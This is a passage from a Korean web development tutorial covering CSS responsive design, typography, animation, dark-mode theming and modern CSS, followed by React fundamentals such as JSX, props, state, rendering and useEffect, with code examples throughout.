가로 회전(landscape)에서도 쓸 만한가높이 고정값을 min-height 로 · 100dvh 확인
브라우저 확대 200%에서 안 깨지는가글자 px 고정 제거(04번) · 겹침은 대개 고정 높이 탓
기준 폭은 셋이면 충분합니다 — 360(폰) · 768(태블릿) · 1280(데스크탑). 개발자도구 기기 모드로 이 셋만 오가며 확인해도 사고의 대부분을 잡습니다. 브레이크포인트는 기기가 아니라 "내용이 깨지는 지점"에 놓는 것이 원칙입니다.
좁은 화면을 기본으로 두고 '더하는' 방향으로 씁니다 기본 (모바일) 세로로 쌓임 min-width 768px 이상 2열 1200px 이상 3열 · 사이드바 반대 방향(데스크톱 우선)은 왜 불리한가 max-width 로 좁힐 때마다 앞서 준 값을 되돌리는 코드가 쌓입니다 기본을 단순하게 두면 되돌릴 일이 없습니다 중단점은 기기가 아니라 내용이 정합니다 "아이폰 크기"가 아니라 "글줄이 너무 길어지는 지점" 3~4개면 충분합니다 — 늘릴수록 관리가 어려워집니다 요즘은 컨테이너 질의도 있습니다 — 화면이 아니라 부모 폭에 반응하므로, 같은 카드를 사이드바와 본문에 재사용할 수 있습니다 간단한 자동 배치는 미디어 쿼리 없이도 됩니다 — grid-template-columns: repeat(auto-fit, minmax(240px, 1fr))
중단점을 늘리기 전에 중단점 없이 되는 배치부터 찾아보세요.
좁은 화면을 기본으로 두고 '더하는' 방향으로 씁니다 기본 — 모바일 기준 · 세로로 쌓임 · 모든 폭에 적용 + @media (min-width:768px) · 2열 + 1200px · 3열·사이드바 320 768 1200 1440 화면 폭 (px) — 오른쪽으로 갈수록 규칙이 더해질 뿐 되돌리지 않습니다 데스크톱 우선(max-width)은 좁힐 때마다 앞서 준 값을 되돌리는 코드가 쌓입니다 중단점은 기기가 아니라 내용이 정합니다 — "글줄이 너무 길어지는 지점", 3~4개면 충분 컨테이너 질의는 화면이 아니라 부모 폭에 반응 — 같은 카드를 사이드바·본문에 재사용 자동 배치는 중단점 없이도 됩니다 — repeat(auto-fit, minmax(240px, 1fr))
중단점을 늘리기 전에 중단점 없이 되는 배치부터 찾아보세요.
CSS 10

글자 다루기

읽기 쉬운 글은 줄 길이와 줄 간격에서 갈립니다.

body{
  font-family: system-ui, -apple-system, "Segoe UI",
               "Malgun Gothic", sans-serif;   /* 시스템 폰트 = 0바이트 */
  line-height: 1.7;          /* 한글은 1.6~1.8 이 편합니다 */
  word-break: keep-all;      /* ★ 한글 단어 중간에서 안 끊김 */
  overflow-wrap: break-word; /* 긴 URL 은 강제로 줄바꿈 */
}

.prose{ max-width: 70ch; }   /* 한 줄 70자 — 넘으면 눈이 다음 줄을 놓칩니다 */

/* 웹폰트는 글자가 안 보이는 시간을 줄이는 게 핵심 */
@font-face{
  font-family: "Pretendard";
  src: url("/pretendard.woff2") format("woff2");
  font-display: swap;        /* 먼저 시스템 폰트로 보여 주고 교체 */
  unicode-range: U+AC00-D7A3, U+0020-007E;   /* 필요한 글자만 */
}

/* 여러 줄 말줄임 */
.clamp2{
  display:-webkit-box; -webkit-box-orient:vertical;
  -webkit-line-clamp:2; overflow:hidden;
}
한글 웹폰트는 무겁습니다(전체 글자를 담으면 수 MB). unicode-range 로 쪼개거나 서브셋 폰트를 쓰고, 본문은 시스템 폰트로 두는 것도 충분히 좋은 선택입니다.

크기 체계 — 값을 그때그때 정하지 마세요

/* 단계를 미리 정하면 화면 전체에 리듬이 생깁니다 */
:root{
  --fs-sm:   0.875rem;   /* 14 — 보조 텍스트 */
  --fs-base: 1rem;       /* 16 — 본문 */
  --fs-lg:   1.25rem;    /* 20 — 소제목 */
  --fs-xl:   1.625rem;   /* 26 — 섹션 제목 */
  --fs-2xl:  clamp(2rem, 5vw, 3rem);   /* 히어로 — 화면 따라 */
}

h1{ font-size: var(--fs-2xl); line-height: 1.2; }
h2{ font-size: var(--fs-xl);  line-height: 1.3; }
p { font-size: var(--fs-base); }
small{ font-size: var(--fs-sm); }
규칙은 하나 — 제목일수록 line-height 를 좁게(1.1~1.3), 본문은 넉넉하게(1.6~1.8). 큰 글자에 1.7을 주면 줄 사이가 벌어져 어색해집니다.

한글 조판에서 자주 틀리는 것

증상처방
단어가 중간에서 뚝 끊김word-break: keep-all — 한글 필수
긴 URL 이 상자를 뚫음overflow-wrap: break-word 를 함께
제목이 한 글자만 다음 줄로text-wrap: balance — 줄을 고르게 나눔
본문 마지막 줄 한 단어 고아text-wrap: pretty
숫자 폭이 들쭉날쭉 (표·타이머)font-variant-numeric: tabular-nums
영문 대문자 제목 간격 답답letter-spacing: 0.02em — 한글 본문엔 주지 마세요
CSS 11

전환과 애니메이션

움직이면 안 되는 속성을 움직이면 버벅입니다.

transition · animation

.btn{
  transition: background-color .2s ease, transform .2s ease;
}
.btn:active{ transform: scale(.97); }

@keyframes fadeUp{
  from{ opacity:0; transform: translateY(12px); }
  to  { opacity:1; transform: none; }
}
.card{ animation: fadeUp .4s ease both; }

/* 어지러움을 느끼는 사용자를 위한 필수 예의 */
@media (prefers-reduced-motion: reduce){
  *,*::before,*::after{
    animation-duration:.01ms !important;
    transition-duration:.01ms !important;
  }
}

부드러운 것 vs 끊기는 것

속성비용
transform·opacity싸다. GPU 가 처리 (60fps)
filter보통
width·height·top·margin비쌉니다. 매 프레임 레이아웃 재계산
box-shadow(큰 값)비쌈 — 대신 그림자 레이어를 opacity 로
/* ✗ 위치를 left 로 옮기면 버벅입니다 */
.move{ transition:left .3s; left:100px; }

/* ✓ transform 으로 */
.move{ transition:transform .3s; transform:translateX(100px); }

/* 요즘 문법 — display:none 과의 전환도 가능해졌습니다 */
.modal{
  transition: opacity .2s, display .2s allow-discrete;
}

복사해 쓰는 마이크로 인터랙션 3종

/* ① 스크롤하면 나타나는 섹션 — JS 한 줄 없이 */
@keyframes reveal{ from{ opacity:0; transform:translateY(24px); } }
.sec{
  animation: reveal linear both;
  animation-timeline: view();          /* 뷰포트 진입에 연동 */
  animation-range: entry 0% entry 40%;
}

/* ② 버튼 눌림 — active 만으로 충분히 살아납니다 */
.btn{ transition: transform .08s ease, box-shadow .2s ease; }
.btn:hover{ box-shadow: 0 4px 14px rgb(0 0 0 / .12); }
.btn:active{ transform: scale(.96); }

/* ③ 스켈레톤 로딩 — 배경 그라데이션이 흐릅니다 */
.skeleton{
  background: linear-gradient(90deg, #eee 25%, #f7f7f7 45%, #eee 65%);
  background-size: 200% 100%;
  animation: shimmer 1.4s infinite;
  border-radius: 6px; color: transparent;
}
@keyframes shimmer{ to{ background-position: -200% 0; } }
움직임의 예산은 0.2~0.4초입니다 — 그보다 길면 "기다리게 하는" 애니메이션이 됩니다. 등장은 ease-out, 퇴장은 ease-in, 이동은 ease-in-out 이 자연스럽습니다.
CSS 12

다크 모드와 테마

색을 직접 쓰지 않고 변수로 두면 테마는 저절로 됩니다.

/* 1) 의미로 이름을 짓습니다 — --white 가 아니라 --bg */
:root{
  --bg:#ffffff; --fg:#1a1a1a; --muted:#666; --line:#e5e5e5;
  color-scheme: light;              /* 스크롤바·기본 폼도 함께 밝게 */
}

/* 2) 시스템 설정을 따름 */
@media (prefers-color-scheme: dark){
  :root:not([data-theme="light"]){
    --bg:#0f1115; --fg:#e8e8ea; --muted:#9aa0a6; --line:#23262d;
    color-scheme: dark;
  }
}

/* 3) 사용자가 직접 고른 값이 이깁니다 */
:root[data-theme="dark"]{
  --bg:#0f1115; --fg:#e8e8ea; --muted:#9aa0a6; --line:#23262d; color-scheme: dark;
}

body{ background: var(--bg); color: var(--fg); }
// 토글 — 고른 값을 기억해 둡니다
const set = (t) => {
  document.documentElement.dataset.theme = t;
  try{ localStorage.setItem("theme", t); }catch(e){}
};
// 첫 로드에 '깜빡임'을 막으려면 이 코드를 <head> 안에서 먼저 실행
다크 모드에서 순백(#fff) 글자는 눈이 아픕니다. #e8e8ea 정도로 낮추고, 배경도 순흑 대신 #0f1115 처럼 살짝 띄우세요. 대비는 4.5:1 이상을 지켜야 읽힙니다.

첫 로드 깜빡임(FOUC) 없애기

head 안에서 먼저 결정합니다

<head>
  <!-- ★ CSS 보다 먼저, 인라인으로. 외부 파일이면 이미 늦습니다 -->
  <script>
    (function () {
      try {
        var saved = localStorage.getItem("theme");           // "light" | "dark" | null
        var prefersDark = matchMedia("(prefers-color-scheme: dark)").matches;
        var theme = saved || (prefersDark ? "dark" : "light");
        document.documentElement.dataset.theme = theme;
        document.documentElement.style.colorScheme = theme;  // 스크롤바·기본 폼도
      } catch (e) { /* 사생활 보호 모드 등 — 기본값으로 진행 */ }
    })();
  </script>
  <link rel="stylesheet" href="/style.css">
</head>
// 토글 — 시스템 설정으로 되돌리는 선택지도 주세요
const root = document.documentElement;

function setTheme(t) {                 // "light" | "dark" | "system"
  if (t === "system") {
    localStorage.removeItem("theme");
    t = matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light";
  } else {
    localStorage.setItem("theme", t);
  }
  root.dataset.theme = t;
  root.style.colorScheme = t;
}

// 사용자가 직접 고르지 않았을 때만 시스템 변경을 따라갑니다
matchMedia("(prefers-color-scheme: dark)").addEventListener("change", (e) => {
  if (!localStorage.getItem("theme")) setTheme("system");
});
이 스크립트를 <body> 끝이나 외부 파일에 두면 깜빡입니다. 브라우저가 밝은 화면을 먼저 그린 뒤 어둡게 바꾸기 때문입니다. <head> 안에 인라인으로 두어야 첫 페인트 전에 결정됩니다. SSR 프레임워크(Next·Nuxt)에도 이 목적의 전용 슬롯이 있습니다.

다크 모드에서 놓치기 쉬운 것

대상흔한 문제해결
이미지·로고흰 배경 PNG 가 그대로테마별 이미지 · SVG 에 currentColor
그림자어두운 배경에서 안 보임밝은 테두리(--line)로 대체
스크롤바·기본 폼흰색 그대로color-scheme 선언
코드 하이라이트대비가 무너짐테마별 색 세트를 따로
차트·지도배경이 흰색라이브러리 테마 옵션 연동
iframe·임베드제어 불가가능하면 파라미터로 테마 전달
순백 텍스트눈부심·번짐#e8e8ea 수준으로
/* 이미지 — 테마에 따라 다른 파일 (JS 없이) */
.logo{ content: url("/logo-light.svg"); }
:root[data-theme="dark"] .logo{ content: url("/logo-dark.svg"); }

/* SVG 아이콘은 색을 상속하게 만들어 두면 테마가 저절로 따라옵니다 */
.icon{ fill: currentColor; }

/* 그림자 대신 테두리 — 다크에서 훨씬 깔끔합니다 */
.card{ box-shadow: var(--shadow-1); border:1px solid var(--line); }
:root[data-theme="dark"] .card{ --shadow-1: none; }

/* 사용자가 움직임을 줄이도록 설정했다면 존중하세요 */
@media (prefers-reduced-motion: reduce){
  *, *::before, *::after{
    animation-duration:.01ms !important;
    transition-duration:.01ms !important;
    scroll-behavior:auto !important;
  }
}

/* 테마 전환에 트랜지션을 걸면 오히려 번져 보입니다 — 색만 짧게 */
:root{ transition: background-color .15s, color .15s; }
대비를 눈으로 판단하지 마세요. 브라우저 개발자 도구의 색상 선택기가 대비율을 바로 보여 주고, Lighthouse 접근성 검사도 잡아 줍니다. 본문은 4.5:1, 큰 글자(18px+ 굵게)는 3:1 이 기준입니다 — 다크 모드에서 회색 본문이 이 선을 넘기지 못하는 경우가 특히 많습니다.
CSS 13

요즘 CSS

전처리기 없이도 되는 것들이 많아졌습니다.

중첩 · :has · @layer

/* 중첩 — SCSS 없이 브라우저가 지원 */
.card{
  padding: 16px;
  & > .title{ font-weight: 700; }
  &:hover{ background: #f6f6f8; }
  @media (min-width: 720px){ padding: 24px; }
}

/* 부모 선택 — JS 로 클래스 붙이던 일이 사라집니다 */
.field:has(input:invalid){ border-color: crimson; }
.form:has(:focus-visible){ outline: 2px solid var(--brand); }

/* 스크롤 스냅 (캐러셀) */
.slider{ display:flex; overflow-x:auto; scroll-snap-type:x mandatory; }
.slide { flex:0 0 100%; scroll-snap-align:center; }

알아 두면 좋은 것

/* 종횡비 고정 (패딩 트릭 불필요) */
.thumb{ aspect-ratio: 16 / 9; object-fit: cover; }

/* 앵커로 이동할 때 헤더에 가리는 문제 */
.sec{ scroll-margin-top: 72px; }

/* 화면 밖 콘텐츠 렌더 미루기 (긴 페이지 성능) */
.section{ content-visibility: auto; contain-intrinsic-size: 600px; }

/* 색 공간 — 더 선명한 색 */
.brand{ color: oklch(65% 0.2 275); }

/* 논리 속성 — 다국어(RTL)에서 좌우가 자동으로 뒤집힘 */
.box{ margin-inline: auto; padding-block: 12px; }
scroll-margin-top 은 고정 헤더가 있는 사이트의 필수 속성입니다. 없으면 #앵커 로 이동했을 때 제목이 헤더 뒤에 숨습니다.
CSS 14

어떻게 관리할 것인가

규모가 커지면 문법보다 규칙이 중요해집니다.

방식성격맞는 곳
일반 CSS + BEM.card__title--big 처럼 이름으로 범위를 표시작은 팀, 정적 사이트
CSS Modules빌드가 클래스명을 고유하게 바꿔 충돌 원천 차단React·Vue 컴포넌트
Tailwind미리 만든 유틸 클래스 조합. 이름 짓기가 사라집니다빠른 개발, 디자인 시스템이 정해진 곳
Vue <style scoped>그 컴포넌트에만 적용Vue SFC (기본값처럼 씀)
CSS-in-JS런타임 비용이 있어 예전만큼 권하지 않습니다기존 프로젝트 유지보수
무엇을 쓰든 공통으로 지킬 것 — ① 색·간격은 변수로 ② 선택자는 얕게 ③ !important 는 0개를 목표로 ④ 컴포넌트 밖으로 새는 스타일 금지.
초기화(reset) 는 필요한 만큼만. 요즘은 box-sizing, 기본 margin 제거, img{max-width:100%;display:block}, :focus-visible 유지 정도면 충분합니다 — 과한 reset 은 기본 접근성까지 지워 오히려 손해입니다.

그대로 시작해도 되는 기본 골격

/* styles/base.css — 이 순서로 레이어를 깝니다 */
@layer reset, tokens, base, components, utilities;

@layer reset{
  *,*::before,*::after{ box-sizing:border-box; margin:0; }
  img,video{ max-width:100%; height:auto; display:block; }
  button,input,select{ font:inherit; color:inherit; }
}
@layer tokens{
  :root{
    --bg:#fff; --fg:#1a1a1a; --line:#e5e5e5; --brand:#6a5cff;
    --gap:16px; --radius:10px;
    --fs-base:1rem; --fs-lg:1.25rem;
  }
}
@layer base{
  body{
    background:var(--bg); color:var(--fg);
    font-family:system-ui, "Malgun Gothic", sans-serif;
    line-height:1.7; word-break:keep-all;
  }
}

배우는 순서 — 로드맵

  • 1단계 — 01·03(왜 안 먹히는가) + 06(Flex)로 내비게이션 바 + 카드 목록 만들기
  • 2단계 — 07(Grid) + 09(반응형)로 페이지 전체 레이아웃. 360px 부터 데스크탑까지
  • 3단계 — 05(변수) + 12(다크 모드)로 테마 시스템
  • 4단계 — 10(글자) + 11(애니메이션)로 완성도. 여기서 "만든 티"가 사라집니다
이어지는 탭 — 구조는 📄 HTML, 동작은 🟨 JavaScript, 컴포넌트 안에서의 스타일 관리는 ⚛️ React · 💚 Vue 3 탭에서 이어집니다. 이 가이드 화면 자체가 이 탭의 규칙(변수·레이어·keep-all)로 만들어져 있습니다.
REACT · 화면을 상태의 결과로

DOM 을
고치지 않고
상태를
바꾼다

리액트의 전부는 한 문장입니다 — 화면 = f(상태). DOM 을 직접 만지는 대신 상태를 바꾸면 화면이 따라옵니다. 이 탭은 왜 다시 그려지는가를 축으로 훅과 성능을 정리했습니다. 여기까지 마치면 리렌더 원인을 스스로 추적하고 불필요한 최적화를 걷어낼 수 있습니다.

14SECTIONS
f(x)화면 = f(상태)
0직접 DOM 조작
19React 버전
REACT 01

리액트가 하는 일

직접 DOM 을 고치던 코드가 왜 감당이 안 되는지부터 봅니다.

직접 고치면

// 장바구니에 담을 때마다 손봐야 할 곳
count++;
document.querySelector("#badge").textContent = count;
document.querySelector("#total").textContent = price * count;
document.querySelector("#btn").disabled = count === 0;
document.querySelector("#empty").hidden = count > 0;
// … 화면이 늘수록 '고쳐야 할 자리'가 같이 늘어납니다
// 하나라도 빠뜨리면 화면끼리 값이 어긋납니다

리액트로

function Cart(){
  const [count, setCount] = useState(0);

  return (
    <>
      <span>{count}</span>
      <span>{price * count}</span>
      <button disabled={count === 0}>주문</button>
      {count === 0 && <p>비어 있습니다</p>}
      <button onClick={() => setCount(count + 1)}>담기</button>
    </>
  );
}
// count 하나만 바꾸면 관련된 화면이 '전부 알아서' 맞춰집니다
핵심 전환 — "무엇을 고칠까"가 아니라 "지금 상태가 무엇이고, 그 상태면 화면이 어떻게 생겼나"를 적습니다. 어떻게 바꿀지는 리액트가 계산합니다.
리액트의 순환 — 이 그림이 이 탭 전체의 지도입니다 이벤트 클릭 · 입력 · 응답 setState 상태가 바뀜 함수 재실행 새 JSX 설계도 DOM 반영 바뀐 곳만 렌더 순환 내 손은 setState 뿐 04 · state 는 스냅샷 05 · 언제 다시 실행되나 07 · key 로 비교 규칙 06 · effect — 순환 밖의 세계와 동기화 "렌더"는 함수를 다시 실행해 설계도를 만드는 것까지입니다 — DOM 을 갈아엎는 게 아닙니다 시작은 한 줄 — npm create vite@latest my-app -- --template react-ts
리액트를 배우는 것은 이 순환에서 내가 개입하는 지점이 setState 하나뿐임을 받아들이는 과정입니다.
REACT 02

JSX — HTML 처럼 생긴 JS

HTML 이 아니라 함수 호출입니다. 그래서 JS 규칙을 따릅니다.

const name = "현우";
const items = ["가", "나"];

const el = (
  <div className="card" onClick={handle}>   {/* class ✗ → className */}
    <h2>{name}님</h2>                        {/* {} 안은 JS 식 */}
    <label htmlFor="id">아이디</label>        {/* for ✗ → htmlFor */}
    <input id="id" defaultValue="hi" />      {/* 닫는 / 필수 */}

    {/* 조건 */}
    {name ? <p>환영합니다</p> : null}
    {items.length > 0 && <p>{items.length}개</p>}

    {/* 반복 */}
    <ul>{items.map((v) => <li key={v}>{v}</li>)}</ul>

    {/* 스타일은 객체 · 단위는 문자열로 */}
    <p style={{ marginTop: 8, color: "red" }}>주의</p>
  </div>
);
함정설명
{0 && <div/>}화면에 0 이 찍힙니다. {count > 0 && …} 로 불리언을 만들어 쓰세요
루트가 둘 이상<>…</>(Fragment)로 감쌉니다
주석JSX 안에서는 {/* … */}
if 문JSX 안에는 식만 들어갑니다. 삼항이나 미리 변수로 빼세요
공백·줄바꿈줄바꿈은 무시됩니다. 띄우려면 {" "}

JSX 의 정체 — 변환 결과를 한 번 보면 규칙이 이해됩니다

// 이렇게 쓰면
<div className="card">
  <h2>{name}님</h2>
</div>

// 빌드 도구가 이렇게 바꿉니다 (그냥 함수 호출)
jsx("div", {
  className: "card",
  children: jsxs("h2", { children: [name, "님"] }),   // 자식이 여럿이면 jsxs
});
  • class 대신 className — JS 예약어와 충돌하기 때문
  • 속성이 camelCase — 객체의 키이기 때문 (onClick·tabIndex)
  • if 를 못 쓰는 이유 — 인자 자리에는 식만 올 수 있기 때문
  • 루트가 하나여야 하는 이유 — 함수는 하나만 반환하기 때문

조건 분기 패턴 정리

// 셋 중 상황에 맞는 것을 — 전부 같은 일입니다
// ① 삼항 — 둘 중 하나
{loggedIn ? <Profile /> : <LoginBtn />}

// ② && — 있거나 없거나
{error && <Alert msg={error} />}

// ③ 변수로 미리 — 분기가 3개 이상이면 이게 깨끗
let body;
if (isPending)      body = <Skeleton />;
else if (error)     body = <Alert msg={error} />;
else if (!data.length) body = <Empty />;
else                body = <List rows={data} />;

return <section>{body}</section>;
로딩 → 에러 → 빈 목록 → 정상. 네 상태를 이 순서로 분기하는 습관을 들이면 "데이터 없을 때 터지는 화면"이 사라집니다.
REACT 03

컴포넌트와 props

props 는 부모가 준 값입니다. 자식이 바꿀 수 없습니다.

기본

function Badge({ text, tone = "info", onClose }){
  return (
    <span className={`badge ${tone}`}>
      {text}
      {onClose && <button onClick={onClose}>✕</button>}
    </span>
  );
}

// 사용
<Badge text="신규" />
<Badge text="마감" tone="warn" onClose={() => hide()} />

// children — 태그 사이에 넣은 것
function Card({ title, children }){
  return <div className="card"><h3>{title}</h3>{children}</div>;
}
<Card title="공지"><p>내용</p></Card>

규칙

규칙이유
컴포넌트 이름은 대문자로소문자는 <div> 같은 HTML 태그로 취급됩니다
props 를 수정 금지부모의 값입니다. 바꾸려면 부모가 준 함수를 호출하세요
순수하게 유지같은 props 면 같은 결과. 렌더 중 바깥 변수를 고치면 안 됩니다
컴포넌트 안에 컴포넌트 정의 ✗렌더마다 새 타입이 되어 상태가 초기화됩니다
// ✗ 이러면 입력값이 매번 사라집니다
function Page(){
  function Row(){ return <input />; }   // 렌더마다 새로 만들어짐
  return <Row />;
}
// ✓ 바깥으로 빼세요

언제 쪼개는가 — 파일 크기가 기준이 아닙니다

  • 따로 다시 그려져야 할 때 — 검색 입력마다 페이지 전체가 렌더되면, 입력창을 자식으로 분리해 렌더 범위를 좁힙니다
  • 두 군데 이상에서 쓸 때 — 버튼·배지·모달
  • 이름을 붙일 수 있을 때 — "이 덩어리는 주문 요약이다" 싶으면 <OrderSummary /> 로. JSX 가 문장처럼 읽히게 됩니다
  • 반대로, 한 번 쓰는 40줄짜리를 습관적으로 쪼개지 마세요 — props 배선만 늘어납니다
// 쪼갠 뒤의 목표 — 부모가 '문장'으로 읽힌다
function CheckoutPage(){
  return (
    <main>
      <OrderSummary items={items} />
      <AddressForm value={addr} onChange={setAddr} />
      <PayButton disabled={!valid} onPay={submit} />
    </main>
  );
}

props 설계 요령

// ✗ 낱개로 다 받기 — 부모·자식이 같이 수정됩니다
<UserCard name={u.name} age={u.age} avatar={u.avatar} … />
// ✓ 도메인 객체는 통째로
<UserCard user={u} />

// ✗ 불리언 스위치가 늘어나는 신호
<Button isPrimary isLarge isOutline … />
// ✓ 종류는 문자열 하나로
<Button variant="primary" size="lg" />

// 이벤트는 on+동사, 값+변경 함수는 짝으로
<Modal open={open} onClose={() => setOpen(false)} />
<Select value={v} onChange={setV} />

// 나머지는 그대로 흘려보내기
function Input({ label, ...rest }){
  return <label>{label}<input {...rest} /></label>;
}
props 인터페이스가 곧 컴포넌트의 공개 API 입니다. HTML 표준(value/onChange·open/onClose)과 같은 모양을 유지하면 처음 보는 사람도 쓸 수 있습니다.
REACT 04

state — 바뀌는 값

state 를 바꾸면 그 컴포넌트를 다시 그립니다.

기본과 함정

const [n, setN] = useState(0);

// ✗ 연속 호출이 한 번만 먹습니다
setN(n + 1); setN(n + 1);        // n=0 이면 둘 다 1 → 결과 1

// ✓ 이전 값을 받아서
setN((p) => p + 1); setN((p) => p + 1);   // 결과 2

// ✗ 직접 수정 — 같은 객체라 '안 바뀐 걸로' 봅니다
list.push(x); setList(list);

// ✓ 새 배열·새 객체로
setList([...list, x]);
setList(list.filter((v) => v.id !== id));
setList(list.map((v) => v.id === id ? { ...v, done:true } : v));
setUser({ ...user, name: "새 이름" });
상태를 바꿔도 그 줄에서 값이 바로 안 바뀝니다. setN(1); console.log(n) 은 이전 값을 찍습니다 — 새 값은 다음 렌더부터 보입니다.

state 로 두지 말아야 할 것

// ✗ props 를 그대로 state 에 복사 (동기화가 어긋납니다)
const [name, setName] = useState(props.name);

// ✗ 계산으로 나오는 값을 state 로
const [total, setTotal] = useState(0);
useEffect(() => setTotal(items.length), [items]);

// ✓ 그냥 렌더할 때 계산하세요
const total = items.length;
const visible = items.filter((v) => !v.done);
판단 기준 — 다른 값으로 계산할 수 있으면 state 가 아닙니다. state 가 늘수록 서로 어긋날 경우의 수가 늘어납니다. 입력값·서버 응답·열림 여부처럼 계산으로 못 얻는 것만 state 로 두세요.
렌더는 스냅샷 — setN(1) 을 불러도 "이번 렌더의 n" 은 안 바뀝니다 렌더 #1 — n = 0 인 세계 onClick: setN(n + 1) // 0+1 을 예약 console.log(n) → 0 이 함수가 태어날 때 n 은 0이었으니까 다음 렌더 렌더 #2 — n = 1 인 새 세계 화면의 {n} 이 1 로 그려진다 setTimeout 안에서도 마찬가지 — 그 타이머는 자기가 태어난 렌더의 n 을 기억합니다 "방금 바꾼 값으로 이어서 계산"이 필요하면 setN(p => p + 1) 처럼 함수형 업데이트로 — 스냅샷이 아니라 최신 큐 값을 받습니다
"setState 했는데 값이 그대로"는 버그가 아니라 스냅샷이라는 설계입니다 — 한 렌더 안에서 값은 상수입니다.
REACT 05

언제 다시 그리는가

"왜 이게 또 렌더되지?"의 답은 세 가지뿐입니다.

App 트리에서 List 의 state 가 바뀌면 — 물들 듯 아래로만 번진다 다시 렌더되는 범위 App 부모 — 안 그려짐 Header 형제 — 안 그려짐 List ★ setState 발생 Row 같이 그려짐 props 안 바뀌었어도! memo(Row2) props 같으면 건너뜀 위(부모)와 옆(형제)으로는 절대 번지지 않습니다 그래서 상태를 아래로 내릴수록 렌더가 좁아집니다
렌더는 state 가 바뀐 지점에서 아래로만 번집니다 — 성능 최적화의 절반은 이 그림에서 상태를 더 아래로 내리는 것입니다.
다시 그리는 조건
  1. 자기 state 가 바뀜
  2. 부모가 다시 그려짐          ← 가장 많이 놓치는 것
  3. 구독 중인 context 값이 바뀜

★ props 가 안 바뀌어도 부모가 그려지면 자식도 그려집니다
   (React.memo 로 감싸야 멈춥니다)
// 렌더 흐름 확인 — 개발 중에만
console.log("render:", Component.name);

// React 19 컴파일러를 켜면 아래 최적화 대부분이 자동입니다
// 켜기 전에는 '측정한 뒤에만' 손대세요
오해사실
렌더 = DOM 갱신다릅니다. 렌더는 "무엇을 그릴지 계산"이고, 바뀐 부분만 DOM 에 반영됩니다
렌더가 많으면 무조건 느리다대부분은 싸다. 진짜 문제는 렌더 안의 무거운 계산입니다
개발 모드에서 두 번 도는 건 버그StrictMode 가 일부러 두 번 실행해 부작용을 드러냅니다. 배포본은 한 번
측정 먼저 — React DevTools 의 Profiler 로 "무엇이 왜 렌더됐는지"를 보고 나서 최적화하세요. 추측으로 memo 를 뿌리면 코드만 복잡해지고 느려집니다.
REACT 06

useEffect — 대부분 필요 없다

화면 밖 세계와 동기화할 때만 씁니다.

쓰지 말아야 할 때

// ✗ 계산 결과를 state 에 넣기
useEffect(() => { setFull(first + " " + last); }, [first, last]);
// ✓ 그냥 계산
const full = first + " " + last;

// ✗ props 가 바뀌면 state 초기화
useEffect(() => { setSel(null); }, [userId]);
// ✓ key 로 컴포넌트를 새로 만들기
<Profile key={userId} … />

// ✗ 이벤트에 대한 반응을 effect 로
useEffect(() => { if (submitted) toast(); }, [submitted]);
// ✓ 이벤트 핸들러 안에서 바로
function onSubmit(){ save(); toast(); }

써야 할 때

useEffect(() => {
  const c = new AbortController();

  fetch(`/api/user/${id}`, { signal: c.signal })
    .then((r) => r.json())
    .then(setUser)
    .catch((e) => { if (e.name !== "AbortError") setErr(e); });

  return () => c.abort();      // ★ 정리 — 떠날 때 취소
}, [id]);

// 구독 · 타이머 · 바깥 라이브러리
useEffect(() => {
  const on = () => setW(innerWidth);
  addEventListener("resize", on);
  return () => removeEventListener("resize", on);
}, []);
정리 함수를 빠뜨리면 타이머·구독이 쌓여 메모리 누수와 "사라진 컴포넌트에 setState" 경고가 납니다. 무언가를 시작했으면 반드시 끝내는 코드를 같이 적으세요.

useRef — 렌더와 무관한 저장소 · DOM 손잡이

// ① DOM 을 직접 만져야 할 때 (포커스 · 스크롤 · 재생)
function SearchBox(){
  const inputRef = useRef(null);
  useEffect(() => { inputRef.current.focus(); }, []);  // 열리면 포커스
  return <input ref={inputRef} />;
}

// ② "바뀌어도 다시 그릴 필요 없는 값" 보관
function Timer(){
  const idRef = useRef(null);           // 타이머 id — 화면과 무관
  const start = () => { idRef.current = setInterval(tick, 1000); };
  const stop  = () => clearInterval(idRef.current);
}
ref.current 를 바꿔도 화면은 안 바뀝니다. 화면에 보여야 하는 값이면 state, 아니면 ref — 이 구분이 "값은 바뀌는데 화면이 안 바뀌어요"를 예방합니다.

경쟁 상태 — effect 로 fetch 할 때의 대표 사고

// id 가 1 → 2 로 빠르게 바뀌면:
//   요청1(느림) · 요청2(빠름) 순서로 응답이 오면
//   화면에는 ★ 요청1(옛날 것) 이 남습니다

useEffect(() => {
  let alive = true;                    // 이 렌더의 생존 플래그
  fetch(`/api/user/${id}`)
    .then(r => r.json())
    .then(d => { if (alive) setUser(d); });  // 죽은 요청은 무시
  return () => { alive = false; };     // id 가 바뀌면 이전 것 무효화
}, [id]);
AbortController 는 요청 자체를 취소하고, 생존 플래그는 응답을 무시합니다 — 둘 다 결과는 같습니다. 이 코드를 매번 쓰기 싫다는 것이 12번(서버 데이터)에서 쿼리 라이브러리로 넘어가는 이유입니다.
effect 는 '그린 뒤'에 실행되고, 정리 함수가 짝을 이룹니다 ① 렌더 (화면 그림) ② effect 실행 ③ 의존성 값 변경 ④ 정리 → 재실행 [] — 빈 배열 처음 한 번만 실행 정리는 사라질 때 한 번 [query] — 값 배열 query 가 바뀔 때마다 이전 것을 정리하고 다시 배열 없음 렌더할 때마다 실행 대개 실수입니다 정리 함수가 필요한 것들 타이머 · 이벤트 리스너 · 구독 · 진행 중인 요청 돌아온 응답이 이미 사라진 화면을 갱신하지 않게 막습니다 effect 가 필요 없는 경우가 더 많습니다 기존 값으로 계산할 수 있는 값은 렌더 중에 그냥 계산하세요 사용자 동작에 대한 반응은 이벤트 핸들러에 씁니다
effect 는 바깥 세계와 동기화하는 자리입니다 — 계산이나 이벤트 처리 자리가 아닙니다.
같은 이야기를 시간축으로 — 정리(④⑥)는 언제나 실행(②⑤)과 짝입니다 ① 렌더 화면 그림 ③ query 변경 다시 렌더 ⑤ 새 effect 실행 query=b ② effect 실행 그린 뒤에 ④ 이전 것 정리 새 실행 직전 ⑥ 언마운트 → 정리 화면에서 사라질 때 effect #1 이 살아 있는 구간 (query=a) effect #2 (query=b) 정리 함수는 다음 실행 직전과 언마운트 때 불립니다 — 타이머·구독·요청을 여기서 끊습니다 [] 이면 ① ② ⑥ 만, 배열이 없으면 렌더마다 ③ ④ ⑤ 가 반복됩니다
effect 는 바깥 세계와 동기화하는 자리입니다 — 시간축으로 보면 실행과 정리가 언제나 짝을 이룹니다.
REACT 07

리스트와 key

key 를 index 로 주면 입력값이 엉뚱한 줄로 옮겨갑니다.

{/* ✗ 순서가 바뀌거나 중간이 지워지면 어긋납니다 */}
